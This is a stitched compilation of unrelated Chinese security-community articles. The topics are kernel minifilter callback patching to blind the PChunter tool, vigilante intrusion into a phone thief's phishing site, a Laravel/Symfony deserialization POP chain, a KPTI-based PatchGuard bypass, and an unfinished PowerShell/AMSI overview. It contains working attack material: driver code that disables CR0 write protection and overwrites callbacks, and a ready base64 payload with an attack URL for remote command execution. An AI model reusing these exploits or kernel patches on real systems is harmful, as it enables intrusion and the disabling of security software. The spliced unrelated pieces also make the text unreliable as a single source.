干掉回调
对PChunter隐藏真正的回调
**1\. 首先我们得从CPU架构说起**
这张图呢描述的是CPU的分级情况，我们的操作系统(kernel)运行在Ring0级别，我们看到的和使用的实际上是在ring3层。了解这个原理以后我们就可以知道我们用户看到的并非是真实的。
**2\. 驱动的加载**
想要获取驱动权限只需要在一个驱动即可，下面来简单说下:
2.1 .x86下驱动加载
此平台下，你就是爸爸，知道这个就行了，使用一种古老而神秘的技术SSDT Hook 都能使你叱咤风云!
2.2. x64下驱动加载
1、Win7问世以后微软号称是最安全的操作系统，因为有了PatchGuard的保护一旦你对系统底层相关代码进行修改，微软会对你使用大招BSOD大法让你生活不能自理，但是也可以通过bootkit技术等等废掉他的PG，不是今天讨论的主题。
2、x64下所有驱动加载必须签名，不过好像并没有什么软用，据大肉鸡老师说现在的rootkit木马一分钟一个签名，sao的飞起！
3、HIPS对签名加载的拦截，这个嘛，同上，或者直接允许。反正你都有administrator权限。
总结下，64位下加载驱动并不是什么难事。
**3\. File System Minifilter Drivers（Minifilter）技术**
在x64下面各种HOOK变得不是那么现实，但是可以通过微软提供的各种回调达到对文件的访问控制需求。
图必不可少，看得懂的看看不懂的自行百度。
其实也就是IRP发下来后经过一些分层过滤驱动，在这个地方有一大堆回调会挨个执行.
文件查找过程为通过FindNextFile下发后从KiFastCallEntry进入内核，IRP将在内核里进行传递。其中IPR_MJ_DIRECTORY_CONTROL就是对目录遍历的IRP,再次进行拦截即可对文件进行隐藏。
隐藏的一些代码细节有兴趣的童鞋可参考[https://www.oschina.net/code/snippet_614253_43729](https://www.oschina.net/code/snippet_614253_43729)
进行查看。
好了，我们要干掉他。
通过PChunter的移除过滤器貌似好像大概可以达到效果，然而现实会给你一记响亮的耳光.因为程序自开线程检测该回调是否被移除如果被移除会再次添加，而且这小婊砸还回调了filterUnload.
这怎么破呢，其实方法很多，大牛告诉过我无数个方法，我觉得最实用的就是直接retn掉函数的第一句。
**代码流程**
遍历minifilter回调
拿到IPR_MJ_DIRECTORY_CONTROL相关的回调地址
关闭CR0保护
回调函数内存地址开头处写入C3(会标retn)指令
关闭CR0保护
关闭后开启D盾或者安全狗或者等等扫描工具开扫把，扫完记得恢复被改写的回调，免得出现意想不到的问题。
跟360这个函数差不多即可。
有人要喊了，Talk is cheap. Show me the code!!!
KIRQL WPOFFx64()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
__writecr0(cr0);
_disable();
return irql;
}
void WPONx64(KIRQL irql)
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
KeLowerIrql(irql);
}
//以上代码是关闭64位下CR0保护的两个函数
#include <intrin.h>
ULONG FltFilterOperationsOffset=0x188; //WIN7 OFFSET of fltmgr!_FLT_FILTER->PFLT_OPERATION_REGISTRATION
typedef struct _FLT_OPERATION_REGISTRATION
{
UCHARMajorFunction;
ULONGFlags;
PVOIDPreOperation;
PVOIDPostOperation;
PVOIDReserved1;
} FLT_OPERATION_REGISTRATION, *PFLT_OPERATION_REGISTRATION;
typedef struct _FLT_FILTER
{
UCHAR buffer[1024];
} FLT_FILTER, *PFLT_FILTER;
NTSTATUS
__fastcall
FltEnumerateFilters
(
PFLT_FILTER *FilterList,
ULONG FilterListSize,
PULONG NumberFiltersReturned
);
NTSTATUS
__fastcall
FltObjectDereference
(
PVOID FltObject
);
KIRQL WPOFFx64()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
__writecr0(cr0);
_disable();
return irql;
}
void WPONx64(KIRQL irql)
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
KeLowerIrql(irql);
}
ULONG EnumMiniFilter()
{
longntStatus;
ULONGuNumber;
PVOIDpBuffer = NULL;
ULONGuIndex = 0, DrvCount = 0;
PVOIDpCallBacks;
PVOID pFilter=NULL;
PFLT_OPERATION_REGISTRATION pNode;
do
{
if(pBuffer != NULL)
{
ExFreePool(pBuffer);
pBuffer = NULL;
}
ntStatus = FltEnumerateFilters(NULL, 0, &uNumber);
if(ntStatus != STATUS_BUFFER_TOO_SMALL)
break;
pBuffer = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * uNumber, 'mnft');
if(pBuffer == NULL)
{
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
break;
}
ntStatus = FltEnumerateFilters(pBuffer, uNumber, &uNumber);
}
while (ntStatus == STATUS_BUFFER_TOO_SMALL);
if(! NT_SUCCESS(ntStatus))
{
if(pBuffer != NULL)
ExFreePool(pBuffer);
return 0;
}
DbgPrint("MiniFilter Count: %ldn",uNumber);
DbgPrint("------n");
__try
{
KIRQL irql = WPOFFx64();
//我举个栗子....通过这种方式可以写，在下面自己判断吧。我这里做测试随便写写。
PVOID *posFun = 0xFFFFF88005731704;
char code[3] = {0x33,0xC0,0xC3};
RtlCopyMemory(posFun, code, 3);
posFun = 0xFFFFF880057313F8;
RtlCopyMemory(posFun, code, 3);
WPONx64(irql);
while(DrvCount<uNumber)
{
pFilter = (PVOID)(*(PULONG64)((PUCHAR)pBuffer + DrvCount * 8));
pCallBacks = (PVOID)((PUCHAR)pFilter + FltFilterOperationsOffset);
pNode = (PFLT_OPERATION_REGISTRATION)(*(PULONG64)pCallBacks);
__try
{
while(pNode->MajorFunction != 0x80)//IRP_MJ_OPERATION_END
{
if (pNode->MajorFunction<28)//MajorFunction id is 0~27
{
//一会解释神奇的现象
if (pNode->PreOperation == 0xFFFFF88005731FC0){
pNode->PreOperation = 0xFFFFF88000DB8980;
DbgPrint("Object=%ptPreFunc=%ptPostFunc=%ptIRP=%Xn",
pFilter,
pNode->PreOperation,
pNode->PostOperation,
pNode->MajorFunction
);
}
}
pNode++;
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
FltObjectDereference(pFilter);
DbgPrint("[EnumMiniFilter]EXCEPTION_EXECUTE_HANDLER: pNode->MajorFunctionn");
ntStatus = GetExceptionCode();
ExFreePool(pBuffer);
return uIndex;
}
DrvCount++;
FltObjectDereference(pFilter);
DbgPrint("------n");
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
FltObjectDereference(pFilter);
DbgPrint("[EnumMiniFilter]EXCEPTION_EXECUTE_HANDLERn");
ntStatus = GetExceptionCode();
ExFreePool(pBuffer);
return uIndex;
}
if(pBuffer != NULL)
{
ExFreePool(pBuffer);
ntStatus=STATUS_SUCCESS;
}
return uIndex;
}
//网上找的，朋友说是TA老师的源码，哈哈。反正别给老夫提什么内核框架，反正就是一把梭，一把梭。
上面有一个神奇的现象代码中通过FltEnumerateFilters枚举minifilter的函数地址拿到这块内存后修改pNode指针的值或者删除，惊奇的发现PChunter列表的值也发生变化了，那讲道理的说我删除这个值，PChunter应该也没有了，估计这一块内存共用的哇，PChunter也采用相同方式来枚举。有图有真相。
这里留给小伙伴们去扩展吧。
至此第一个工具分析完成了。
**Hacker Defender 分析**
由于时间关系后门没时间搞环境测试了，简单说下吧！驱动加载后把自身进程提升为system进程，R3无权限访问。然后通过R3进程对系统进行HOOK，所有功能基于R3
HOOK完成。
开始分析时各种看R0的东西，发现一点都没对R0做修改和处理，心想这尼玛，05年的东西这么强大？ 最后…..
在这个界面检测出了700多钩子直接右键全部恢复，hacker defender所有功能消失，又是一把梭解决问题！
**演示视频**
老外有视频我就不造轮子了，这个rootkit太低级了！不过对于大多数网管还是有效的。
**总结**
由于工作的关系时间并不充裕暂且先写到这，本来打算写一个小工具造福不懂技术的网管们，让他们运行程序以后系统就变得跟当初一样了，安全狗、D盾等软件也会发挥作用。
想法是美好的，然而工作太忙要写大量的Javascript、HTML5哎，无奈.加班什么的。希望看了本文的小伙伴能写出这样的小工具造福一小部分人，为网络安全添砖加瓦！
BTW:求教minifilter正确的遍历姿势！！！THX | 社区文章 |
# 【技术分享】看我如何指尖灵动找回现实中被偷的手机
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**0x00
**
╮(╯▽╰)╭3月7日，这个日期我记得非常清楚，正是最近很火爆的struts2-045远程命令执行漏洞爆发的这一天。这天的下午我正在疯狂的寻找被新漏洞影响的厂商系统~跟着师傅们了解完漏洞原理后，准备狠狠的往补天刷一波045~。但是这个时候接到家人的电话，得知家人在接可爱的小侄子放学时，手机被偷！？接着人生第一次拨通110竟是在手机被偷的情况下。
原本想先用iPhone的定位功能，但发现小偷将手机关机了（这也是定位功能的一个缺陷啊），于是我立马停下了手中的事，先让手机进入丢失模式吧~
报警以后，在调取监控的时候发现当时是幼儿园放学，人非常的多。而且显然监控并没有拍清楚小偷的相貌，得手后匆匆进入小巷离开了。那么仅有一个衣着特征，怎么去找这个小偷呢？简直大海捞针。在公安局做完笔录以后，陷入了沉思…
**0x01**
好几天过去了，警察并没有给我们抓获小偷的消息。但这个时候，事情有了转机！之前提到了，我把手机设置进入了丢失模式，所以小偷在重新打开手机并接入网络连接的时候，会自动进入丢失锁定模式，需要机主的iCloud账号登录才能解开。所以小偷换着号码，多次给我家人发来了钓鱼短信（包含账号钓鱼链接）。
**0x02**
小偷显然在尝试套取Apple ID账号密码，发送号码：0085264818634/
0085253048809，发送的手机号码是网络虚拟号码，查询将会无从下手 但是得到了两个钓鱼网站的域名。
短信内容如图：
从两条短信中分别得到两个钓鱼域名：
通过ping命令可判断出两次的站点都属于同一个服务器，只是域名不同。
**0x03**
得到域名地址以后，开始收集数据，分析钓鱼网站的配置信息~
尝试寻找并进入后台~不磨叽，直接爆破后台地址（事先准备好asp环境的后台目录字典）
（显然小偷还使用的是默认地址manager 所以在这个寻找后台的过程中还是比较顺利的，字典仅仅跑了1分钟）
后台的登录系统是其他的CMS改写的，测试后发现不存在直接致命的漏洞，只能继续从社工和信息方面下手了。接下来就是想办法怎么进入后台了。
经过社工思维的交谈和语言魅力的轮番说服~客服给出了域名注册时的QQ和电话信息。
收集信息以后，果断可以利用字典生成工具：crunch它可以灵活的定制自己的密码字典
根据输入的信息工具会自动排列 定制出适合的字典库（自己也需要加入一些高危常用密码信息作为库存的 哈哈~）~用于账号密码的爆破。
半小时以后验证成功 得到账号密码。
**0x04**
进入后台以后，好戏才真正上演。各位师傅且听我慢慢道来~
先从IP下手,但在登录日志里，除了我自己的IP并没有发现其他人的？难道是小偷登录以后每次都会清除记录吗？或者系统设置了某一段时间长度内自动清理？我有了这些设想。
那我该怎么去寻找小偷的IP地址呢？于是我开始回到主页面，利用小脚本对钓鱼页面的登录口进行批量填窗提交~hhhhh在大概500狂轰滥炸的多次提交后，我想小偷应该也该收到了500多封邮件提示~
思路：大家都了解钓鱼网站的收取信息的回馈规则。只要一有信息填入，另一端小偷的邮箱或者手机号码就会收到网站的提示（类似于“xxx上钩了”）。根据心里分析，小偷在收到这样的提示的情况下，会立马登录网站后台查看数据或者信息，马上对被偷手机进行解锁。
于是我早就登录了小偷的账号，在后台的操作日志页面等待小偷上线。果然，他上线清理后台这500多条没用的账号密码信息了。估计他还在郁闷这是谁给刷了这么多垃圾…而我已经悄悄的和他在同一个后台，从他的删除行为中拿到了他的IP地址~小偷哪里逃！
Ip是联通的，但稍微懂一点通信的师傅，不难看出这是Wi-Fi的ip地址，所以利用之前在论坛看见的一些网络ip定位网站，绝对是不能精确定位的
只能定位出大概的范围。因为在一个区域运营商发射信号的基站有很多~这个时候你需要认识一个联通小哥，或者寻求警察叔叔的授权协助了~（提醒大家，这个是在报案并且登记了的情况下的操作）
Ip定位地址：商贸城大厦 （就这样窝藏地点出来了!）
**0x05**
看我如何让小偷“裸奔”
利用后台继续拿到密码登录小偷的邮箱、真实QQ、微信ID、手机号码…
来到后台的邮件SMTP设定~
虽然邮箱密码是加密显示的
但是可以从页面包含的password value里得到邮箱密码
邮箱登录成功
里面的钓鱼账号邮件还真不少，高达上千封
通过邮件往来继续得到小偷的同伙或朋友的信息
其中还包含真实照片
下面给大家还原手机号码的社工~
其实最开始是添加qq的，但是他很警惕，加好友后第一句直接问：上家是谁？
我半分钟没有回答上来，直接被删了。所以没来得及截图~
有了这次的经验，知道了他被加好友的问法。开始搜索他的微信，但这次我选择让一名女生和我配合去添加他的好友，假装购买手机。
显然小偷输在了这场社工学的战斗中。虽然很警惕是否有上家介绍，但是并没有去核实伪造截图中的上家是否和他有过交易，而是直接选择透露信息。
甚至同意了后来发送坐标的要求
**0x06**
法网恢恢疏而不漏~
从小偷给出的交易坐标来看，他也并没有把自己的定位直接发在了直接查出来的商贸城大厦，但选择了对面的全季酒店。只是一个对面的距离，更加确认了我之前从ip到地址的获取的正确性。
现在就该把信息提供给警察叔叔了，得到警察叔叔的处理解决。接下来就可以和小偷约定地点交易，警察实施抓捕了~被偷的手机自然物归原主。
所以我们得相信，正义会迟到，但，永远不会缺席。
你的指尖有改变世界的力量 <(▰˘◡˘▰)>
这，就是一场网络力量和现实罪恶的斗争。 | 社区文章 |
**作者：1nhann
原文链接：<https://inhann.top/2022/05/17/bypass_wakeup/>**
> 本文以 Laravel 9.1.8 为例，介绍一个通用的新思路，用以绕过 pop chain 构造过程中遇到的 `__wakeup()`
## 环境搭建
Laravel 9.1.8
`routes/web.php` ：
<?php
use Illuminate\Support\Facades\Route;
/*
|-------------------------------------------------------------------------- | Web Routes
|-------------------------------------------------------------------------- |
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function (\Illuminate\Http\Request $request) {
// return view('welcome');
$ser = base64_decode($request->input("ser"));
unserialize($ser);
return "ok";
});
## 要绕过的 `__wakeup()`
<https://github.com/FakerPHP/Faker>
<https://github.com/FakerPHP/Faker/pull/136>
<https://github.com/FakerPHP/Faker/pull/136/commits/841e8bdde345cc1ea9f98e776959e7531cadea0e>
在 laravel < v5.7 , yii2 < 2.0.38 的情况下， `Faker\Generator` 是非常好用的反序列化 gagdet
，但是从 `FakerPHP v 1.12.1` 之后， `Generator.php` 中加了个 `__wakeup()` 方法：
public function __wakeup()
{
$this->formatters = [];
}
这使得 `$this->formatters` 的值始终为空 array ，这个 gagdet 一定程度上，不能用了。
**本文提供一个通用的新思路，用以绕过 pop chain 构造过程中遇到的`__wakeup()`**
## 梳理绕过思路
> 关键词：reference
>
> <https://www.phpinternalsbook.com/php5/classes_objects/serialization.html>
### demo
首先考虑 这样一个 demo ：
运行结果：
可以看到 `s:4:"fuck";R:2;` ，使得 `$this->fuck` 和 `$this->bitch` 指向的是同一个值，即
`$this->fuck` 修改了 `$this->bitch` 也被修改了
### 核心思想
1. 让 `Faker\Generator` 的 `$this->formatters` 和某个对象`$o`的某个属性 `$a` 指向同一个值
2. 在 `Faker\Generator` 的 `__wakeup()` 运行完之后，反序列化 gadget 的 `__destruct()` 运行之前，给 `$a` 赋值
3. `$a` 的赋值如果完全可控，那么 `$this->formatters` 将不再为空，且完全可控
## 寻找绕过用的 gadget
根据上面的思路，很容易想到，找一个合适的 `__wakeup()` 或者 `__destruct()`
其中最好有类似这样的代码：
$this->a = $this->b;
$this->a[$this->b] = $this->c
经过搜索排查，这里给出 三个可以用的 gadget ：
`Symfony\Component\Mime\Part\SMimePart.php` ：
namespace Symfony\Component\Mime\Part;
class SMimePart extends AbstractPart
public function __wakeup(): void
{
$r = new \ReflectionProperty(AbstractPart::class, 'headers');
$r->setAccessible(true);
$r->setValue($this, $this->_headers);
unset($this->_headers);
}
这个类来自 https://github.com/symfony/mime ，其 `$headers` 属性继承自其父类
`AbstractPart`，`__wakeup()` 当中使用反射给 `$headers` 赋值
翻看 git log ，可以看到从项目建立开始，这个 `SMimePart` 的 `__wakeup()` 就存在，而且没有变过（
**也就是说凡是使用了`symfony/mime` 这个依赖的项目，其 `__wakeup()` 都可能可以绕过** ）：
> 除此之外，`Part/DataPart.php` 和 `Part/TextPart.php` 的 `__wakeup()` 也 和
> `Part/SMimePart.php` 大致相同，一样可以被用作 gadget
## 构造 poc
比如对这条链进行改造：<https://bkfish.gitee.io/2020/12/01/Some-Php-Pop-Chain-Analysis/#113-laravel-58-exp3>
<?php
namespace Faker{
class Generator{
protected $providers = [];
protected $formatters = [];
function __construct()
{
$this->formatter = "dispatch";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
public function __construct()
{
$this->event = "calc.exe";
$this->events = new \Faker\Generator();
}
}
}
namespace Symfony\Component\Mime\Part{
abstract class AbstractPart
{
private $headers = null;
}
class SMimePart extends AbstractPart{
protected $_headers;
public $inhann;
function __construct(){
$this->_headers = ["dispatch"=>"system"];
$this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}
namespace{
$a = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}
result ：
TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19
attack :
http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19
### 调试：
`Generator\Generator` 的 `__wakeup()` 先被调用：
`Symfony\Component\Mime\Part\SMimePart` 的 `__wakeup()` 随后被调用，并将
`$this->_headers` 赋值给 `$this->headers` ：
然后才进入 `__destruct()` ：
可以看到，虽然 `Generator\Generator` 的 `__wakeup()` 执行了，但是 `$this->formatters` 不为空：
## 总结
总的来说，本文介绍的 bypass `__wakeup()` 并不是跳过 `__wakeup()`
的执行，而是通过构造包含reference的特殊序列化数据 ，达到对冲 `__wakeup()` 的效果。一般情况下，如果 `__wakeup()`
里面是对属性的再赋值，而没有 throw Exception 之类的，环境依赖又恰到好处，那就可以达到本文所说的 bypass。
* * * | 社区文章 |
# 搞定PatchGuard：利用KPTI绕过内核修改保护
原文链接：<https://blog.ensilo.com/meltdown-patchguard>
## 0x00 前言
2018年年初暴露了一类新的漏洞：推测执行（speculative
execution）。具体漏洞为Spectre以及Meltdown，这两个漏洞都源自于CPU本身测信道方面的缺陷。虽然这些漏洞位于硬件中，但一些缓解措施可以通过软件来实现。内核页表隔离（Kernel
Page Table
Isolation，KPTI）就是其中非常复杂的一种缓解措施，这种方法需要大幅修改操作系统内核，由于其重要地位，之前的老版本操作系统甚至也会部署这种方案。
在本文中，我们将介绍绕过微软PatchGuard的一种新方法，这种方法利用了KPTI来hook系统服务调用以及用户模式中断。
注意：在开发出PoC样例后，我们向微软安全响应中心（MSRC）反馈了我们的研究成果。微软确认该问题存在，并根据我们的建议在Windows 10
RS5中引入了修复补丁。
## 0x01 背景介绍
推测执行是现代CPU的一种特性，可以用来提高计算性能。CPU在内部会采用无序方式提前执行指令，如果某些指令不应该被执行，那么就会在影响CPU最终状态之前被丢弃。当指令被弃用时，就会影响缓存（cache），因此我们有可能使用这一特性，通过侧信道方式来评估内存的访问时间。
Meltdown（也称为Rogue Data Cache
Load，恶意数据缓存加载）利用的正是指令执行以及权限检查之间存在的CPU竞争条件，用户模式代码可以利用该漏洞，以可靠且相对快速的方式读取内核空间内存。
## 0x02 KPTI
[Kernel Virtual Address Shadow（内核虚拟地址影子）](Kernel Virtual Address
Shadow)是微软在Windows系统上对KPTI的具体实现方式。部署这种机制后，进程虚拟地址空间会被分割为两个单独的页表：运行在内核以及用户模式下的代码分别使用其中一个表。内核模式页面会映射完整的地址空间（用户及内核空间），而用户模式页表只映射了ring
3及ring 0转换所需的最小内核空间。
执行转换过程的代码位于`ntoskrnl.exe`中，落在名为`KVASCODE`的特定section中。该section被映射到用户及内核页表的相同虚拟地址以及内核处理器控制块（Kernel
Processor Control Block，KPRCB）结构末尾的栈空间及专用区域，因此不会出现敏感内核信息泄露问题。
用户地址空间在每个进程的两个页表之间共享。映射到用户页表中的最小内核地址空间在不同进程之间共享，这种情况同样适用于常规的内核地址空间。操作系统将不同页表中的不同PML4（页表的最顶层）表项指向相同的PDP表来实现这种机制。
图1. 启用KVAS的页表样例
为了使性能最大化的同时降低开销，KVAS会应用于较低权限的应用，使其充当完整权限的进程，通过加载驱动来访问内核进程。
与TLB管理有关的PTE还有其他改动，但我们不会深入讨论这方面内容，因为这与本文的主题关系不大。
## 0x03 系统服务调用及中断
ring 3及ring
0之间的转换现在会涉及一个新的步骤，及用户地址空间中映射的最小内核空间。我们可以将这种情况看成原先的转换过程中插入了一个间接跳转环节。
图2. 启用KVAS时ring 3到ring 0的转换过程
新的系统调用及终端转换代码会检查用户页表是否被使用，如果条件满足，则切换到内核页表，然后在内核中恢复正常操作，切换回ring 3时则执行相反的操作。
图3. KVAS syscall入口点反汇编代码
## 0x04 可以预料的后果
Patch Guard或Kernel Patch
Protection（内核修改保护）的目的是避免操作系统在运行时被篡改，会监控对`ntoskrnl`、`HAL`、`NDIS`中代码以及关键结构（如IDT、SSDT）的修改。
现在ring 3到ring
0转换的第一条指令以及最后一条指令已不在操作系统内核中执行，而是在单独的地址空间中执行，因此我们现在面对的是在内核模式下运行代码的一个新环境，可能没有得到充足的保护。
由于内核没有映射到用户页表中，因此在内核模式和用户模式来回转换期间PatchGuard无法运行。简而言之，用户页表中的内核地址空间对PatchGuard透明，因此我们可以拦截并操控在用户模式下触发的ring
0系统服务调用及中断。
## 0x05 访问用户页表
在进一步深入研究之前，我们需要访问这个新的用户页表。由于地址转换由MMU配合物理地址来实现，因此我们当前所处的虚拟地址空间不一定能访问不同地址空间的页表。
以内核模式运行时我们能够访问物理内存，因此，我们首先需要找到用户页表的物理地址，我们可以从线程的用户模式上下文中的`EPROCESS.Pcb.UserDirectoryTableBase`或者`CR3`寄存器找到这个信息。
掌握这个信息后，PTE重映射和页表遍历就变得非常简单，这样我们就可以完全控制用户页表中的内核地址空间。我们可以使PTE有效来分配内存，修改PTE的PFN（Page
Frame Number，页帧号）来交换页面。如果需要读/写，我们可以通过相同的方式将页面映射回内核页表。
## 0x06 Hook
由于ring 0入口点逻辑发生变化，因此hook方法也需要相应改变。
### 内存管理
`kvascode`
section的页面会映射到所有页表（用户及内核空间）中的相同物理页面。我们首先修改用户页表，这样`KVASCODE`虚拟地址就会被映射到不同的物理页面。这样就能腾出相关函数为我们所用，因为现在不再需要检查哪个页表正在被使用。通过这种方式，我们也能阻止PatchGuard检测代码更改，因为这里并没有更改`ntoskrnl`的任何页面。
### 代码执行
接下来我们要解决的就是如何真正运行我们的代码。`KVASCODE`
section的大小非常有限，我们可以在用户页表中映射其他页面。这并不能让我们使用操作系统提供的服务，但可能可以让我们切换到内核页表。
由于我们的代码没有映射到用户页表中，因此在切换页表前我们无法直接跳转到我们的代码中。如果简单切换页表，就会返回到我们无法控制的原始`KVASCODE`页面。此时我们可以做的就是利用ROP。
在我们在用户页表中重映射的页面中，我们将创建一个CR3分配gadget，其`ret`指令在两个虚拟地址空间中重合。通过这种方式，即使修改了页表，`ret`指令也会被执行。接下来，我们将修改代码逻辑，压入我们驱动的地址，并且跳转到我们创建的CR3分配gadget上。
图4. 原始及hook后`nt!KiSystemCall64Shadow`的汇编代码
### 处理VBS
VBS并不会让这种技术失效，但的确会带来一些麻烦。
在启用HyperVisor代码完整性（HVCI）的情况下，我们再也无法在内核中运行未签名的代码。`HVCI`会阻止动态创建hook，因此我们需要在驱动中编译代码。这会给我们造成很大的困难，因为这意味着我们必须预先知道每个页面中函数的具体位置。由于这些函数并不会发生太大变化，并且`KVASCODE`
section的大小实际上没有改变（并且还有很大的空间），因此并非完全不可能找到解决办法。如果我们需要在运行时确定数据结构的偏移值，就可以将它们存储在数据页表中，而我们会将数据页表映射到用户页表中距离`KVASCODE`页面固定偏移值的某个位置。
还有另一件事情需要注意，在启用了VBS的主机上，root分区将使用`int 2e`指令，而不会使用`syscall`或者`sysenter`指令。
## 0x07 缓解措施
解决方法非常简单：PatchGuard应该检查内核和用户页表中`KVASCODE`页面PTE的PFN是否相同。这样将确保最小内核地址空间中的代码与实际内核空间中的代码相匹配。一旦PatchGuard验证了内核中的代码，就不会发生篡改现象。
## 0x08 总结
对现代操作系统主要架构的修改将会给攻击者和研究人员带来新的复杂性和攻击途径。研究人员可以利用这种新方法来监控用户模式进程中的系统调用，无需依赖虚拟化或者其他硬件功能，也不用受到操作系统安全机制的干扰。由于`KVAS`的性能优化，这种修改可能涉及到较低权限应用，而这些对象通常更有可能带来安全风险。
我们的研究依托于Windows 10 RS4
x64系统，然而，由于`KVAS`已经被移植到所有支持的Windows版本上，因此这种技术也适用于Windows 7、8.1以及相应的服务器版本。
虽然本文重点介绍的是Windows系统，但相关技术同样适用于使用KPTI的其他主流操作系统，如Linux以及macOS。
## 0x09 时间线
* 29/3/2018：向MSRC反馈漏洞
* 18/4/2018：MSRC确认漏洞
* 25/4/2018：微软发布Windows RS5预览版，build 17655，参考了我们建议的修复方式。 | 社区文章 |
# 初探Powershell与AMSI检测对抗技术
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：counsellors
> 作为Windows系统内置工具，
> Powershell脚本的功能十分强大，同时作为系统的功能组件不会被常规杀毒引擎查杀。兼具这两个有点，Powershell的恶意利用程序得到快速发展，从2012年Powershell
> 攻击利用工具成型化以来，互联网中的通过无文件与Powershell的攻击事件数量逐年递增。无文件攻击在感染计算机时，不需写入磁盘即可从事恶意活动，绕过那些基于签名和文件检测的传统安全软件。
> 如何检测这些恶意行为成了安全厂商和企业用户与个人更为关心的问题。微软在2015年中旬开始提出了针对无文件攻击和Powershell脚本攻击的检测缓解方案-> AMSI。
>
> 本文以Powershell行为日志审计为切入点， 展开介绍AMSI的功能，工作机制与现有绕过方法。
## 0x00 Powershell 攻击
Powershell作为内网渗透的利器，
在Windows环境下被广泛使用。利用Poweshell可以降低软件的查杀概率，同时也是无文件攻击的常用手段。在内网渗透中Powershell扮演着重要角色。
### 一般渗透攻击过程
Powershell可以用于入侵，下载，权限维持，横向移动等攻击阶段。
### 常用利用工具
Powersploit和Nishang是老牌后渗透利用框架，集成了后门，提权，信息收集，RCE等功能。
Powershell
Empire和PSAttack都是不依赖于powershell.exe的PowerShell利用框架。它们分别使用python和.NET重新封装了脚本解释器，执行相关渗透脚本。
### Powershell与.NET攻击利用时间线
传统安全软件对Powershell的防御不甚完善，通过Powershell进行网络勒索，挖矿的恶意软件越来越多，攻击方式也越来越复杂。
## 0x01 Powershell 日志与版本
本文不对Powershell语法做阐述，攻击利用的命令与代码可以参考开源工具。除了攻击利用，本文将关注点放在Powershell日志和版本上。
### Powershell日志
#### 日志类型
##### 模块(module)日志
Event ID: 4103
路径： Microsoft > Windows > PowerShell/Operational
作用：可以为 Windows PowerShell 模块启用日志记录
使用下面命令可以获取或有可用的模块名称：
Get-Module -ListAvailable
##### 管道执行(pipeline execute)日志
Event ID: 800
作用：记录Powershell管道执行过程的事件简介
##### 脚本块(script block)日志
Event ID: 4104
路径：Microsoft-Windows-PowerShell/Operational
作用：Windows PowerShell 将记录命令、脚本块、函数和脚本的处理，无论是以交互方式调用还是通过自动方式处理
##### 脚本转换(transcription)日志
可以将 Windows PowerShell 命令的输入和输出捕获到基于文本的脚本中。
当然，开启 transcription有个bug
#### 如何打开日志记录功能
这四种日志功能默认不开启，需要手工开启
#### 4种日志记录内容对比
日志详情 | 模块日志 | 管道执行日志 | 脚本块日志 | 脚本转换日志
---|---|---|---|---
执行命令 | 有 | 有 | 有（包括脚本内容） | 有
上下文信息 | 有 | 有 | 无 | 有
参数绑定详情 | 有 | 有 | 无 | 无
解码/解混淆代码 | 无 | 无 | 有 | 有
命令输出 | 无 | 无 | 无 | 有
### Powershell版本
#### Powershell个版本对日志的支持度
日志类型 | V2版本 | V3版本 | V4版本 | V5版本
---|---|---|---|---
模块日志 | 无 | 支持 | 支持（V3增强） | 支持
管道执行日志 | 支持 | 支持 | 支持 | 支持
脚本块日志 | 无 | 无 | 支持 | 支持（自动记录恶意命令）
脚本转换日志 | 无 | 无 | 支持 | 支持（V4增强）
